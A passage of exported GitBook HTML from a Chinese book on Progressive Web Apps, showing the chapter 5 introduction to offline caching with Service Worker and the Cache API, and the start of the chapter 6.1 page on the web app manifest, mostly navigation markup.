class=\"chapter \" data-level=\"1.8.4\" data-path=\"chapter07/4-vulnerability.html\">\n            \n                <a href=\"chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"chapter08.html\">\n            \n                <a href=\"chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"chapter08/1-loading-performance.html\">\n            \n                <a href=\"chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"chapter08/2-rendering-performance.html\">\n            \n                <a href=\"chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"chapter09.html\">\n            \n                <a href=\"chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"chapter09/1-search-engine-index.html\">\n            \n                <a href=\"chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"chapter09/4-preload-pwa.html\">\n            \n                <a href=\"chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"appendix01.html\">\n            \n                <a href=\"appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"appendix01/1-lighthouse.html\">\n            \n                <a href=\"appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"thanks.html\">\n            \n                <a href=\"thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\".\" >第5章 离线与缓存</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x79BB;&#x7EBF;&#x7F13;&#x5B58;\"><b></b>&#x79BB;&#x7EBF;&#x7F13;&#x5B58;</a></li></ul></div><a href=\"#&#x79BB;&#x7EBF;&#x7F13;&#x5B58;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x79BB;&#x7EBF;&#x7F13;&#x5B58;\"><a name=\"&#x79BB;&#x7EBF;&#x7F13;&#x5B58;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x79BB;&#x7EBF;&#x7F13;&#x5B58;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x79BB;&#x7EBF;&#x7F13;&#x5B58;\" class=\"plugin-anchor\" href=\"#&#x79BB;&#x7EBF;&#x7F13;&#x5B58;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x79BB;&#x7EBF;&#x7F13;&#x5B58;</h1>\n<p>&#x901A;&#x8FC7;&#x524D;&#x9762;&#x7AE0;&#x8282;&#x5BF9; PWA &#x6982;&#x5FF5;&#x7684;&#x4E86;&#x89E3;&#xFF0C;&#x6211;&#x4EEC;&#x77E5;&#x9053;&#xFF0C;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x662F; PWA &#x5E94;&#x7528;&#x5728;&#x4F53;&#x9A8C;&#x63D0;&#x5347;&#x4E0A;&#x7684;&#x4E00;&#x4E2A;&#x91CD;&#x8981;&#x7279;&#x6027;&#xFF0C;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x7279;&#x6027;&#x80FD;&#x591F;&#x4F7F;&#x5F97; PWA &#x5E94;&#x7528;&#x5728;&#x79BB;&#x7EBF;&#x73AF;&#x5883;&#x4E0B;&#x53EF;&#x4EE5;&#x6B63;&#x5E38;&#x4F7F;&#x7528;&#xFF0C;&#x5728;&#x5F31;&#x7F51;&#x73AF;&#x5883;&#x4E0B;&#x80FD;&#x591F;&#x4F7F;&#x7AD9;&#x70B9;&#x5FEB;&#x901F;&#x54CD;&#x5E94;&#x3002;&#x901A;&#x5E38; PWA &#x7684;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x7279;&#x6027;&#x4E3B;&#x8981;&#x662F;&#x4F9D;&#x8D56; Web &#x63D0;&#x4F9B;&#x7684; Service Worker &#x673A;&#x5236;&#x548C; Cache API &#x6765;&#x914D;&#x5408;&#x5B9E;&#x73B0;&#x7684;&#xFF0C;&#x5E76;&#x4E14;&#x53EF;&#x4EE5;&#x5728; Service Worker &#x6587;&#x4EF6;&#x4E2D;&#x901A;&#x8FC7;&#x5F00;&#x53D1;&#x4E00;&#x7CFB;&#x5217;&#x7684;&#x7B56;&#x7565;&#x6765;&#x7BA1;&#x7406;&#x7F51;&#x7EDC;&#x7B56;&#x7565;&#x3002;&#x5F53;&#x7136;&#xFF0C;&#x8FD9;&#x4E9B;&#x5DE5;&#x4F5C;&#x6BD4;&#x8F83;&#x590D;&#x6742;&#x7E41;&#x7410;&#xFF0C;&#x5C24;&#x5176;&#x662F;&#x5728;&#x5927;&#x578B;&#x7684; Web App &#x4E0A;&#xFF0C;&#x4E5F;&#x53EF;&#x4EE5;&#x501F;&#x52A9;&#x5F00;&#x6E90;&#x7684; Service Worker &#x5DE5;&#x5177;&#x5E93; Workbox &#x6765;&#x8F85;&#x52A9;&#x5B8C;&#x6210;&#x8FD9;&#x4E9B;&#x4E8B;&#x60C5;&#x3002;</p>\n<p>&#x5728;&#x672C;&#x7AE0;&#x5C06;&#x8BE6;&#x7EC6;&#x7684;&#x4ECB;&#x7ECD; PWA &#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x76F8;&#x5173;&#x7684;&#x6982;&#x5FF5;&#x548C;&#x6280;&#x672F;&#x7EC6;&#x8282;&#xFF0C;&#x5982; Service Worker &#x7F13;&#x5B58;&#x7BA1;&#x7406;&#x3001;&#x7F13;&#x5B58;&#x76F8;&#x5173; API &#x7B49;&#xFF0C;&#x5E76;&#x901A;&#x8FC7;&#x76F8;&#x5173;&#x6280;&#x672F;&#x70B9;&#x7684;&#x914D;&#x5408;&#x6765;&#x5B9E;&#x73B0;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x7B56;&#x7565;&#xFF0C;&#x6700;&#x7EC8;&#x4F1A;&#x770B;&#x5230;&#x5B9E;&#x9645; Web App &#x9879;&#x76EE;&#x4E2D;&#x662F;&#x5982;&#x4F55;&#x9AD8;&#x6548;&#x7684;&#x5F00;&#x53D1;&#x548C;&#x7EF4;&#x62A4;&#x79BB;&#x7EBF;&#x7F13;&#x5B58;&#x529F;&#x80FD;&#x3002;</p>\n<footer class=\"page-footer-ex\"> <span class=\"page-footer-ex-copyright\"> Copyright &#xA9;2019 <a href=\"https://github.com/lavas-project\" target=\"_blank\">&#x767E;&#x5EA6; Web &#x751F;&#x6001;&#x56E2;&#x961F;</a> <br>   <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\"><img src=\"https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png\" alt=\"&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;\"></a> &#x672C;&#x4E66;&#x91C7;&#x7528; <a href=\"http://creativecommons.org/licenses/by-nc-nd/4.0/\" target=\"_blank\">&#x77E5;&#x8BC6;&#x5171;&#x4EAB;&#x7F72;&#x540D;-&#x975E;&#x5546;&#x4E1A;&#x6027;&#x4F7F;&#x7528; 4.0 &#x56FD;&#x9645;&#x8BB8;&#x53EF;&#x534F;&#x8BAE;</a> &#x8FDB;&#x884C;&#x8BB8;&#x53EF;&#x3002;<br>    &#x672C;&#x4E66;&#x4ECD;&#x5728;&#x52D8;&#x8BEF;&#x9636;&#x6BB5;&#xFF0C;&#x8BF7;&#x52FF;&#x4EE5;&#x4EFB;&#x4F55;&#x5F62;&#x5F0F;&#x79C1;&#x81EA;&#x4F20;&#x64AD;&#xFF0C;&#x6211;&#x4EEC;&#x4FDD;&#x7559;&#x5BF9;&#x672C;&#x4E66;&#x7684;&#x7248;&#x6743; </span> &#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0; <span class=\"page-footer-ex-footer-update\"> &#x8BE5;&#x6587;&#x4EF6;&#x4FEE;&#x8BA2;&#x65F6;&#x95F4;&#xFF1A; 2019-06-19 18:37:42 </span> </footer>\n                                \n                                </section>\n                            \n    </div>\n    <div class=\"search-results\">\n        <div class=\"has-results\">\n            \n            <h1 class=\"search-results-title\"><span class='search-results-count'></span> results matching \"<span class='search-query'></span>\"</h1>\n            <ul class=\"search-results-list\"></ul>\n            \n        </div>\n        <div class=\"no-results\">\n            \n            <h1 class=\"search-results-title\">No results matching \"<span class='search-query'></span>\"</h1>\n            \n        </div>\n    </div>\n</div>\n\n                        </div>\n                    </div>\n                \n            </div>\n\n            \n                \n                <a href=\"chapter04/4-service-worker-debug.html\" class=\"navigation navigation-prev \" aria-label=\"Previous page: 4.4 Service Worker 调试\">\n                    <i class=\"fa fa-angle-left\"></i>\n                </a>\n                \n                \n                <a href=\"chapter05/1-fetch-event-management.html\" class=\"navigation navigation-next \" aria-label=\"Next page: 5.1 资源请求的拦截代理\">\n                    <i class=\"fa fa-angle-right\"></i>\n                </a>\n                \n            \n        \n    </div>\n\n    <script>\n        var gitbook = gitbook || [];\n        gitbook.push(function() {\n            gitbook.page.hasChanged({\"page\":{\"title\":\"第5章 离线与缓存\",\"level\":\"1.6\",\"depth\":1,\"next\":{\"title\":\"5.1 资源请求的拦截代理\",\"level\":\"1.6.1\",\"depth\":2,\"path\":\"chapter05/1-fetch-event-management.md\",\"ref\":\"chapter05/1-fetch-event-management.md\",\"articles\":[]},\"previous\":{\"title\":\"4.4 Service Worker 调试\",\"level\":\"1.5.4\",\"depth\":2,\"path\":\"chapter04/4-service-worker-debug.md\",\"ref\":\"chapter04/4-service-worker-debug.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter05.md\",\"mtime\":\"2019-06-19T10:37:42.209Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\".\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"gitbook/gitbook.js\"></script>\n    <script src=\"gitbook/theme.js\"></script>\n    \n        \n        <script src=\"gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter06/1-manifest-json.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>6.1 Web 应用清单 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"2-credentials-api.html\" />\n    \n    \n    <link rel=\"prev\" href=\"../chapter06.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n    